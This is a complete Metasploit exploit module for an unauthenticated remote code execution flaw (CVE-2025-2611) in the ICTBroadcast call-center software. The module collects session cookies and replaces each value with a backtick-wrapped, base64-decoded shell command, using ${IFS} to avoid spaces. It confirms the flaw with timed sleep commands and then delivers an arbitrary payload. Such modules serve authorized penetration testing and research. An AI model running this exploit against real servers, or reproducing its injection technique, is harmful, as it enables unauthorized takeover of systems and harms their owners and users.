1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134
|
class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {}) super( update_info( info, 'Name' => 'ICTBroadcast Unauthenticated Remote Code Execution', 'Description' => %q{ This module exploits an unauthenticated remote code execution (RCE) vulnerability in ICTBroadcast. The vulnerability exists in the way session cookies are handled and processed, allowing an attacker to inject arbitrary system commands. }, 'Author' => [ 'Valentin Lobstein' ], 'License' => MSF_LICENSE, 'References' => [ ['URL', 'https://www.ictbroadcast.com/'], ['CVE', '2025-2611'] ], 'Platform' => %w[unix linux], 'Arch' => [ARCH_CMD], 'Targets' => [ [ 'Unix/Linux Command Shell', { 'Platform' => %w[unix linux], 'Arch' => ARCH_CMD } ] ], 'DefaultTarget' => 0, 'Privileged' => false, 'DisclosureDate' => '2025-03-19', 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [IOC_IN_LOGS] } ) ) end
def get_valid_cookies return @valid_cookies if @valid_cookies
print_status('Retrieving session cookies dynamically...') res = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'login.php') )
res_cookies = res&.get_cookies return [] unless res_cookies cookies = res_cookies.split('; ').map do |c| key, value = c.split('=', 2) next unless key && value
Msf::Exploit::Remote::HTTP::HttpCookie.new(key.strip, value.strip) end.compact
print_status("Found cookies: #{cookies.map(&:to_s).join(', ')}") @valid_cookies = cookies end
def inject_cookie_payload(command) cookies = get_valid_cookies return if cookies.blank?
encoded_command = Rex::Text.encode_base64(command) payload = "echo${IFS}#{encoded_command}|base64${IFS}-d|sh"
updated_cookies = cookies.map do |cookie| "#{cookie.name}=`#{payload}`" end.join('; ')
send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'login.php'), 'headers' => { 'Cookie' => updated_cookies } ) end
def check print_status('Checking if target is an ICTBroadcast instance…')
res = send_request_cgi!( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path) ) return Exploit::CheckCode::Unknown('No response from target.') unless res return Exploit::CheckCode::Safe unless res.code == 200
html = res.get_html_document title = html.at('title')&.text keywords = html.at("meta[name='keywords']")&.[]('content') description = html.at("meta[name='description']")&.[]('content')
if title&.include?('ICT Broadcast') || keywords&.include?('ict') || description&.include?('ICT Broadcast')
print_good('ICTBroadcast detected, verifying injection…')
[1, 2, 3, 4, 5].sample(3).each do |t| start_time = Time.now inject_cookie_payload("sleep #{t}") if (Time.now - start_time) >= (t - 0.3) return Exploit::CheckCode::Vulnerable("Injection confirmed (slept #{t}s)") end end
return Exploit::CheckCode::Appears('ICTBroadcast detected, but injection timing did not match.') end
Exploit::CheckCode::Safe end
def exploit inject_cookie_payload(payload.encoded) end end
|